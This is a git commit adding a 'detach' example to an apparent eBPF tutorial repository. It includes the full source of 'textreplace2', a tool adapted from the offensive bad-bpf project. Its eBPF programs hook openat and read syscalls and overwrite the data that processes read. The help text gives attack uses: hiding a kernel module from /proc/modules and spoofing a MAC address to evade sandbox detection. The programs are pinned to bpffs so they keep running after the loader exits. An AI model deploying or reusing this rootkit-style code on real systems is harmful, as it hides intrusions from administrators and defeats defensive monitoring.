add code for detached

This commit is contained in:
yunwei37
2023-05-31 00:15:40 +08:00
committed by 云微
parent 899f332f14
commit e71352c29b
9 changed files with 1135 additions and 5 deletions

9
src/28-detach/.gitignore vendored Normal file
View File

@@ -0,0 +1,9 @@
.vscode
package.json
*.o
*.skel.json
*.skel.yaml
package.yaml
ecli
bootstrap
textreplace2

29
src/28-detach/LICENSE Normal file
View File

@@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2020, Andrii Nakryiko
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

141
src/28-detach/Makefile Normal file
View File

@@ -0,0 +1,141 @@
# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
OUTPUT := .output
CLANG ?= clang
LIBBPF_SRC := $(abspath ../../libbpf/src)
BPFTOOL_SRC := $(abspath ../../bpftool/src)
LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a)
BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool)
BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool
LIBBLAZESYM_SRC := $(abspath ../../blazesym/)
LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a)
LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h)
ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \
| sed 's/arm.*/arm/' \
| sed 's/aarch64/arm64/' \
| sed 's/ppc64le/powerpc/' \
| sed 's/mips.*/mips/' \
| sed 's/riscv64/riscv/' \
| sed 's/loongarch64/loongarch/')
VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h
# Use our own libbpf API headers and Linux UAPI headers distributed with
# libbpf to avoid dependency on system-wide headers, which could be missing or
# outdated
INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX))
CFLAGS := -g -Wall
ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS)
APPS = textreplace2 # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall
CARGO ?= $(shell which cargo)
ifeq ($(strip $(CARGO)),)
BZS_APPS :=
else
BZS_APPS := # profile
APPS += $(BZS_APPS)
# Required by libblazesym
ALL_LDFLAGS += -lrt -ldl -lpthread -lm
endif
# Get Clang's default includes on this system. We'll explicitly add these dirs
# to the includes list when compiling with `-target bpf` because otherwise some
# architecture-specific dirs will be "missing" on some architectures/distros -
# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h,
# sys/cdefs.h etc. might be missing.
#
# Use '-idirafter': Don't interfere with include mechanics except where the
# build would have failed anyways.
CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - </dev/null 2>&1 \
| sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }')
ifeq ($(V),1)
Q =
msg =
else
Q = @
msg = @printf ' %-8s %s%s\n' \
"$(1)" \
"$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \
"$(if $(3), $(3))";
MAKEFLAGS += --no-print-directory
endif
define allow-override
$(if $(or $(findstring environment,$(origin $(1))),\
$(findstring command line,$(origin $(1)))),,\
$(eval $(1) = $(2)))
endef
$(call allow-override,CC,$(CROSS_COMPILE)cc)
$(call allow-override,LD,$(CROSS_COMPILE)ld)
.PHONY: all
all: $(APPS)
.PHONY: clean
clean:
$(call msg,CLEAN)
$(Q)rm -rf $(OUTPUT) $(APPS)
$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT):
$(call msg,MKDIR,$@)
$(Q)mkdir -p $@
# Build libbpf
$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf
$(call msg,LIB,$@)
$(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \
OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \
INCLUDEDIR= LIBDIR= UAPIDIR= \
install
# Build bpftool
$(BPFTOOL): | $(BPFTOOL_OUTPUT)
$(call msg,BPFTOOL,$@)
$(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap
$(LIBBLAZESYM_SRC)/target/release/libblazesym.a::
$(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release
$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
$(call msg,LIB, $@)
$(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@
$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT)
$(call msg,LIB,$@)
$(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@
# Build BPF code
$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL)
$(call msg,BPF,$@)
$(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \
$(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \
-c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
$(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@)
# Generate BPF skeletons
$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL)
$(call msg,GEN-SKEL,$@)
$(Q)$(BPFTOOL) gen skeleton $< > $@
# Build user-space code
$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h
$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT)
$(call msg,CC,$@)
$(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@
$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER)
$(BZS_APPS): $(LIBBLAZESYM_OBJ)
# Build application binary
$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT)
$(call msg,BINARY,$@)
$(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@
# delete failed targets
.DELETE_ON_ERROR:
# keep intermediate (.skel.h, .bpf.o, etc) targets
.SECONDARY:

View File

@@ -1,5 +1,34 @@
# detach
# 后台运行 eBPF 程序
## reference
通过使用 `--detach` 运行程序,用户空间加载器可以退出,而不会停止 eBPF 程序。
在运行前,请首先确保 bpf 文件系统已经被挂载:
- https://github.com/pathtofile/bad-bpf
```bash
sudo mount bpffs -t bpf /sys/fs/bpf
mkdir /sys/fs/bpf/textreplace
```
然后,你可以分离运行 text-replace2
```bash
./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d
```
这将在 `/sys/fs/bpf/textreplace` 下创建一些 eBPF 链接文件。
一旦加载器成功运行,你可以通过运行以下命令检查日志:
```bash
sudo cat /sys/kernel/debug/tracing/trace_pipe
# 确认链接文件存在
sudo ls -l /sys/fs/bpf/textreplace
```
然后,要停止,只需删除链接文件即可:
```bash
sudo rm -r /sys/fs/bpf/textreplace
```
## 参考资料
- <https://github.com/pathtofile/bad-bpf>

View File

@@ -0,0 +1,382 @@
// SPDX-License-Identifier: BSD-3-Clause
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "textreplace2.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
// Map to hold the File Descriptors from 'openat' calls
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, unsigned int);
} map_fds SEC(".maps");
// Map to fold the buffer sized from 'read' calls
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buff_addrs SEC(".maps");
// Map to fold the buffer sized from 'read' calls
// NOTE: This should probably be a map-of-maps, with the top-level
// key bing pid_tgid, so we know we're looking at the right program
#define MAX_POSSIBLE_ADDRS 500
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, MAX_POSSIBLE_ADDRS);
__type(key, unsigned int);
__type(value, long unsigned int);
} map_name_addrs SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, MAX_POSSIBLE_ADDRS);
__type(key, unsigned int);
__type(value, long unsigned int);
} map_to_replace_addrs SEC(".maps");
// Map holding the programs for tail calls
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 5);
__type(key, __u32);
__type(value, __u32);
} map_prog_array SEC(".maps");
// Optional Target Parent PID
const volatile int target_ppid = 0;
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 1);
__type(key, int);
__type(value, struct tr_file);
} map_filename SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_ARRAY);
__uint(max_entries, 2);
__type(key, int);
__type(value, struct tr_text);
} map_text SEC(".maps");
SEC("fexit/__x64_sys_close")
int BPF_PROG(handle_close_exit, const struct pt_regs *regs, long ret)
{
// Check if we're a process thread of interest
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
// Closing file, delete fd from all maps to clean up
bpf_map_delete_elem(&map_fds, &pid_tgid);
bpf_map_delete_elem(&map_buff_addrs, &pid_tgid);
return 0;
}
SEC("fentry/__x64_sys_openat")
int BPF_PROG(handle_openat_enter, struct pt_regs *regs)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int zero = PROG_00;
// Check if we're a process thread of interest
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
// Get filename to check
struct tr_file *pFile = bpf_map_lookup_elem(&map_filename, &zero);
if (pFile == NULL) {
return 0;
}
// Get filename from arguments
char check_filename[FILENAME_LEN_MAX];
bpf_probe_read_user(&check_filename, FILENAME_LEN_MAX, (void*)PT_REGS_PARM2(regs));
// Check filename is our target
for (int i = 0; i < FILENAME_LEN_MAX; i++) {
if (i > pFile->filename_len) {
break;
}
if (pFile->filename[i] != check_filename[i]) {
return 0;
}
}
// Add pid_tgid to map for our sys_exit call
bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY);
return 0;
}
SEC("fexit/__x64_sys_openat")
int BPF_PROG(handle_openat_exit, struct pt_regs *regs, long ret)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (check == 0) {
return 0;
}
int pid = pid_tgid >> 32;
// Set the map value to be the returned file descriptor
unsigned int fd = (unsigned int)ret;
bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY);
return 0;
}
SEC("fentry/__x64_sys_read")
int BPF_PROG(handle_read_enter, struct pt_regs *regs)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
int pid = pid_tgid >> 32;
unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid);
if (pfd == 0) {
return 0;
}
// Check this is the correct file descriptor
unsigned int map_fd = *pfd;
unsigned int fd = (unsigned int)PT_REGS_PARM1(regs);
if (map_fd != fd) {
return 0;
}
// Store buffer address from arguments in map
long unsigned int buff_addr = PT_REGS_PARM2(regs);
bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY);
// log and exit
size_t buff_size = (size_t)PT_REGS_PARM3(regs);
// bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_addr 0x%lx\n", pid, fd, buff_addr);
// bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_size %lu\n", pid, fd, buff_size);
return 0;
}
SEC("fexit/__x64_sys_read")
int BPF_PROG(find_possible_addrs, struct pt_regs *regs, long ret)
{
// Check this open call is reading our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int buff_addr = *pbuff_addr;
long unsigned int name_addr = 0;
if (buff_addr <= 0) {
return 0;
}
// This is amount of data returned from the read syscall
if (ret <= 0) {
return 0;
}
long int buff_size = ret;
long int read_size = buff_size;
bpf_printk("[TEXT_REPLACE] PID %d | read_size %lu | buff_addr 0x%lx\n", pid, read_size, buff_addr);
const unsigned int local_buff_size = 64;
const unsigned int loop_size = 64;
char local_buff[local_buff_size] = { 0x00 };
if (read_size > (local_buff_size+1)) {
// Need to loop :-(
read_size = local_buff_size;
}
int index = PROG_00;
struct tr_text *pFind = bpf_map_lookup_elem(&map_text, &index);
if (pFind == NULL) {
return 0;
}
// Read the data returned in chunks, and note every instance
// of the first character of our 'to find' text.
// This is all very convoluted, but is required to keep
// the program complexity and size low enough the pass the verifier checks
unsigned int tofind_counter = 0;
for (unsigned int i = 0; i < loop_size; i++) {
// Read in chunks from buffer
bpf_probe_read(&local_buff, read_size, (void*)buff_addr);
for (unsigned int j = 0; j < local_buff_size; j++) {
// Look for the first char of our 'to find' text
if (local_buff[j] == pFind->text[0]) {
name_addr = buff_addr+j;
// This is possibly out text, add the address to the map to be
// checked by program 'check_possible_addrs'
bpf_map_update_elem(&map_name_addrs, &tofind_counter, &name_addr, BPF_ANY);
tofind_counter++;
}
}
buff_addr += local_buff_size;
}
// Tail-call into 'check_possible_addrs' to loop over possible addresses
// bpf_printk("[TEXT_REPLACE] PID %d | tofind_counter %d \n", pid, tofind_counter);
bpf_tail_call(ctx, &map_prog_array, PROG_01);
return 0;
}
SEC("fexit/__x64_sys_read")
int BPF_PROG(check_possible_addresses, struct pt_regs *regs, long ret)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int* pName_addr = 0;
long unsigned int name_addr = 0;
unsigned int newline_counter = 0;
unsigned int match_counter = 0;
char name[TEXT_LEN_MAX+1];
unsigned int j = 0;
char old = 0;
int index = PROG_00;
struct tr_text *pFind = bpf_map_lookup_elem(&map_text, &index);
if (pFind == NULL) {
return 0;
}
const unsigned int name_len = pFind->text_len;
if (name_len < 0) {
return 0;
}
if (name_len > TEXT_LEN_MAX) {
return 0;
}
// Go over every possibly location
// and check if it really does match our text
for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) {
newline_counter = i;
pName_addr = bpf_map_lookup_elem(&map_name_addrs, &newline_counter);
if (pName_addr == 0) {
break;
}
name_addr = *pName_addr;
if (name_addr == 0) {
break;
}
bpf_probe_read_user(&name, TEXT_LEN_MAX, (char*)name_addr);
for (j = 0; j < TEXT_LEN_MAX; j++) {
if (name[j] != pFind->text[j]) {
break;
}
}
if (j >= name_len) {
// ***********
// We've found out text!
// Add location to map to be overwritten
// ***********
bpf_map_update_elem(&map_to_replace_addrs, &match_counter, &name_addr, BPF_ANY);
match_counter++;
}
bpf_map_delete_elem(&map_name_addrs, &newline_counter);
}
// If we found at least one match, jump into program to overwrite text
if (match_counter > 0) {
bpf_tail_call(ctx, &map_prog_array, PROG_02);
}
return 0;
}
SEC("fexit/__x64_sys_read")
int BPF_PROG(overwrite_addresses, struct pt_regs *regs, long ret)
{
// Check this open call is opening our target file
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
int pid = pid_tgid >> 32;
long unsigned int* pName_addr = 0;
long unsigned int name_addr = 0;
unsigned int match_counter = 0;
int index = PROG_01;
struct tr_text *pReplace = bpf_map_lookup_elem(&map_text, &index);
if (pReplace == NULL) {
return 0;
}
// Loop over every address to replace text into
for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) {
match_counter = i;
pName_addr = bpf_map_lookup_elem(&map_to_replace_addrs, &match_counter);
if (pName_addr == 0) {
break;
}
name_addr = *pName_addr;
if (name_addr == 0) {
break;
}
// Attempt to overwrite data with out replace string (minus the end null bytes)
// We have to do it this long way to deal with the variable text_len
char data[TEXT_LEN_MAX];
bpf_probe_read_user(&data, TEXT_LEN_MAX, (void*)name_addr);
for (unsigned int j = 0; j < TEXT_LEN_MAX; j++) {
if (j >= pReplace->text_len) {
break;
}
data[j] = pReplace->text[j];
}
long ret = bpf_probe_write_user((void*)name_addr, (void*)data, TEXT_LEN_MAX);
// Send event
struct event *e;
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (e) {
e->success = (ret == 0);
e->pid = pid;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
bpf_ringbuf_submit(e, 0);
}
int index = PROG_00;
struct tr_text *pFind = bpf_map_lookup_elem(&map_text, &index);
if (pFind == NULL) {
return 0;
}
bpf_printk("[TEXT_REPLACE] PID %d | [*] replaced: %s\n", pid, pFind->text);
// Clean up map now we're done
bpf_map_delete_elem(&map_to_replace_addrs, &match_counter);
}
return 0;
}

View File

@@ -0,0 +1,505 @@
// SPDX-License-Identifier: BSD-3-Clause
#include <argp.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <unistd.h>
#include "textreplace2.skel.h"
#include "textreplace2.h"
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <unistd.h>
#include <signal.h>
#include <sys/resource.h>
#include <errno.h>
#include <fcntl.h>
static volatile sig_atomic_t exiting;
void sig_int(int signo)
{
exiting = 1;
}
static bool setup_sig_handler() {
// Add handlers for SIGINT and SIGTERM so we shutdown cleanly
__sighandler_t sighandler = signal(SIGINT, sig_int);
if (sighandler == SIG_ERR) {
fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
return false;
}
sighandler = signal(SIGTERM, sig_int);
if (sighandler == SIG_ERR) {
fprintf(stderr, "can't set signal handler: %s\n", strerror(errno));
return false;
}
return true;
}
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
return vfprintf(stderr, format, args);
}
static bool bump_memlock_rlimit(void)
{
struct rlimit rlim_new = {
.rlim_cur = RLIM_INFINITY,
.rlim_max = RLIM_INFINITY,
};
if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) {
fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n");
return false;
}
return true;
}
static bool setup() {
// Set up libbpf errors and debug info callback
libbpf_set_print(libbpf_print_fn);
// Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything
if (!bump_memlock_rlimit()) {
return false;
};
// Setup signal handler so we exit cleanly
if (!setup_sig_handler()) {
return false;
}
return true;
}
// Setup Argument stuff
static struct env {
char filename[FILENAME_LEN_MAX];
char input[FILENAME_LEN_MAX];
char replace[FILENAME_LEN_MAX];
bool detatch;
int target_ppid;
} env;
const char *argp_program_version = "textreplace2 1.0";
const char *argp_program_bug_address = "<path@tofile.dev>";
const char argp_program_doc[] =
"Text Replace\n"
"\n"
"Replaces text in a file.\n"
"To pass in newlines use \%'\\n' e.g.:\n"
" ./textreplace2 -f /proc/modules -i ppdev -r $'aaaa\\n'"
"\n"
"USAGE: ./textreplace2 -f filename -i input -r output [-t 1111] [-d]\n"
"EXAMPLES:\n"
"Hide kernel module:\n"
" ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd'\n"
"Fake Ethernet adapter (used in sandbox detection): \n"
" ./textreplace2 -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' \n"
"Run detached (userspace program can exit):\n"
" ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' --detach\n"
"To stop detached program:\n"
" sudo rm -rf /sys/fs/bpf/textreplace\n"
"";
static const struct argp_option opts[] = {
{ "filename", 'f', "FILENAME", 0, "Path to file to replace text in" },
{ "input", 'i', "INPUT", 0, "Text to be replaced in file, max 20 chars" },
{ "replace", 'r', "REPLACE", 0, "Text to replace with in file, must be same size as -t" },
{ "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." },
{ "detatch", 'd', NULL, 0, "Pin programs to filesystem and exit usermode process" },
{},
};
static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
switch (key) {
case 'i':
if (strlen(arg) >= TEXT_LEN_MAX) {
fprintf(stderr, "Text must be less than %d characters\n", FILENAME_LEN_MAX);
argp_usage(state);
}
strncpy(env.input, arg, sizeof(env.input));
break;
case 'd':
env.detatch = true;
break;
case 'r':
if (strlen(arg) >= TEXT_LEN_MAX) {
fprintf(stderr, "Text must be less than %d characters\n", FILENAME_LEN_MAX);
argp_usage(state);
}
strncpy(env.replace, arg, sizeof(env.replace));
break;
case 'f':
if (strlen(arg) >= FILENAME_LEN_MAX) {
fprintf(stderr, "Filename must be less than %d characters\n", FILENAME_LEN_MAX);
argp_usage(state);
}
strncpy(env.filename, arg, sizeof(env.filename));
break;
case 't':
errno = 0;
env.target_ppid = strtol(arg, NULL, 10);
if (errno || env.target_ppid <= 0) {
fprintf(stderr, "Invalid pid: %s\n", arg);
argp_usage(state);
}
break;
case ARGP_KEY_ARG:
argp_usage(state);
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static const struct argp argp = {
.options = opts,
.parser = parse_arg,
.doc = argp_program_doc,
};
static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
if (e->success)
printf("Replaced text in PID %d (%s)\n", e->pid, e->comm);
else
printf("Failed to replace text in PID %d (%s)\n", e->pid, e->comm);
return 0;
}
static const char* base_folder = "/sys/fs/bpf/textreplace";
int rmtree(const char *path)
{
size_t path_len;
char *full_path;
DIR *dir;
struct stat stat_path, stat_entry;
struct dirent *entry;
// stat for the path
stat(path, &stat_path);
// if path does not exists or is not dir - exit with status -1
if (S_ISDIR(stat_path.st_mode) == 0) {
// ignore
return 0;
}
// if not possible to read the directory for this user
if ((dir = opendir(path)) == NULL) {
fprintf(stderr, "%s: %s\n", "Can`t open directory", path);
return 1;
}
// the length of the path
path_len = strlen(path);
// iteration through entries in the directory
while ((entry = readdir(dir)) != NULL) {
// skip entries "." and ".."
if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, ".."))
continue;
// determinate a full path of an entry
full_path = calloc(path_len + strlen(entry->d_name) + 1, sizeof(char));
strcpy(full_path, path);
strcat(full_path, "/");
strcat(full_path, entry->d_name);
// stat for the entry
stat(full_path, &stat_entry);
// recursively remove a nested directory
if (S_ISDIR(stat_entry.st_mode) != 0) {
rmtree(full_path);
continue;
}
// remove a file object
if (unlink(full_path)) {
printf("Can`t remove a file: %s\n", full_path);
return 1;
}
free(full_path);
}
// remove the devastated directory and close the object of it
if (rmdir(path)) {
printf("Can`t remove a directory: %s\n", path);
return 1;
}
closedir(dir);
return 0;
}
int cleanup_pins() {
return rmtree(base_folder);
}
int pin_program(struct bpf_program *prog, const char* path)
{
int err;
err = bpf_program__pin(prog, path);
if (err) {
fprintf(stdout, "could not pin prog %s: %d\n", path, err);
return err;
}
return err;
}
int pin_map(struct bpf_map *map, const char* path)
{
int err;
err = bpf_map__pin(map, path);
if (err) {
fprintf(stdout, "could not pin map %s: %d\n", path, err);
return err;
}
return err;
}
int pin_link(struct bpf_link *link, const char* path)
{
int err;
err = bpf_link__pin(link, path);
if (err) {
fprintf(stdout, "could not pin link %s: %d\n", path, err);
return err;
}
return err;
}
static int pin_stuff(struct textreplace2_bpf *skel) {
/*
Sorry in advance for not this function being quite garbage,
but I tried to keep the code simple to make it easy to read
and modify
*/
int err;
int counter = 0;
struct bpf_program *prog;
struct bpf_map *map;
char pin_path[100];
// Pin Maps
bpf_object__for_each_map(map, skel->obj) {
sprintf(pin_path, "%s/map_%02d", base_folder, counter++);
err = pin_map(map, pin_path);
if (err) { return err; }
}
// Pin Programs
counter = 0;
bpf_object__for_each_program(prog, skel->obj) {
sprintf(pin_path, "%s/prog_%02d", base_folder, counter++);
err = pin_program(prog, pin_path);
if (err) { return err; }
}
// Pin Links. There's not for_each for links
// so do it manually in a gross way
counter = 0;
memset(pin_path, '\x00', sizeof(pin_path));
sprintf(pin_path, "%s/link_%02d", base_folder, counter++);
err = pin_link(skel->links.handle_close_exit, pin_path);
if (err) { return err; }
sprintf(pin_path, "%s/link_%02d", base_folder, counter++);
err = pin_link(skel->links.handle_openat_enter, pin_path);
if (err) { return err; }
sprintf(pin_path, "%s/link_%02d", base_folder, counter++);
err = pin_link(skel->links.handle_openat_exit, pin_path);
if (err) { return err; }
sprintf(pin_path, "%s/link_%02d", base_folder, counter++);
err = pin_link(skel->links.handle_read_enter, pin_path);
if (err) { return err; }
sprintf(pin_path, "%s/link_%02d", base_folder, counter++);
err = pin_link(skel->links.find_possible_addrs, pin_path);
if (err) { return err; }
sprintf(pin_path, "%s/link_%02d", base_folder, counter++);
err = pin_link(skel->links.check_possible_addresses, pin_path);
if (err) { return err; }
sprintf(pin_path, "%s/link_%02d", base_folder, counter++);
err = pin_link(skel->links.overwrite_addresses, pin_path);
if (err) { return err; }
return 0;
}
int main(int argc, char **argv)
{
struct ring_buffer *rb = NULL;
struct textreplace2_bpf *skel;
int err;
int index;
// Parse command line arguments
err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
if (err) {
return err;
}
if (env.filename[0] == '\x00' || env.input[0] == '\x00' || env.replace[0] == '\x00') {
printf("ERROR: filename, input, and replace all requried, see %s --help\n", argv[0]);
exit(1);
}
if (strlen(env.input) != strlen(env.replace)) {
printf("ERROR: input and replace text must be the same length\n");
exit(1);
}
// Do common setup
if (!setup()) {
exit(1);
}
if (env.detatch) {
// Check bpf filesystem is mounted
if (access("/sys/fs/bpf", F_OK) != 0) {
fprintf(stderr, "Make sure bpf filesystem mounted by running:\n");
fprintf(stderr, " sudo mount bpffs -t bpf /sys/fs/bpf\n");
return 1;
}
if (cleanup_pins())
return 1;
}
// Open BPF application
skel = textreplace2_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno));
return 1;
}
// Verify and load program
err = textreplace2_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
struct tr_file file;
strncpy(file.filename, env.filename, sizeof(file.filename));
index = PROG_00;
file.filename_len = strlen(env.filename);
err = bpf_map_update_elem(
bpf_map__fd(skel->maps.map_filename),
&index,
&file,
BPF_ANY
);
if (err == -1) {
printf("Failed to add filename to map? %s\n", strerror(errno));
goto cleanup;
}
struct tr_text text;
strncpy(text.text, env.input, sizeof(text.text));
index = PROG_00;
text.text_len = strlen(env.input);
err = bpf_map_update_elem(
bpf_map__fd(skel->maps.map_text),
&index,
&text,
BPF_ANY
);
if (err == -1) {
printf("Failed to add text input to map? %s\n", strerror(errno));
goto cleanup;
}
strncpy(text.text, env.replace, sizeof(text.text));
index = PROG_01;
text.text_len = strlen(env.replace);
err = bpf_map_update_elem(
bpf_map__fd(skel->maps.map_text),
&index,
&text,
BPF_ANY
);
if (err == -1) {
printf("Failed to add text replace to map? %s\n", strerror(errno));
goto cleanup;
}
// Add program to map so we can call it later
index = PROG_01;
int prog_fd = bpf_program__fd(skel->progs.check_possible_addresses);
err = bpf_map_update_elem(
bpf_map__fd(skel->maps.map_prog_array),
&index,
&prog_fd,
BPF_ANY);
if (err == -1) {
printf("Failed to add program to prog array! %s\n", strerror(errno));
goto cleanup;
}
index = PROG_02;
prog_fd = bpf_program__fd(skel->progs.overwrite_addresses);
err = bpf_map_update_elem(
bpf_map__fd(skel->maps.map_prog_array),
&index,
&prog_fd,
BPF_ANY);
if (err == -1) {
printf("Failed to add program to prog array! %s\n", strerror(errno));
goto cleanup;
}
// Attach tracepoint handler
err = textreplace2_bpf__attach(skel);
if (err) {
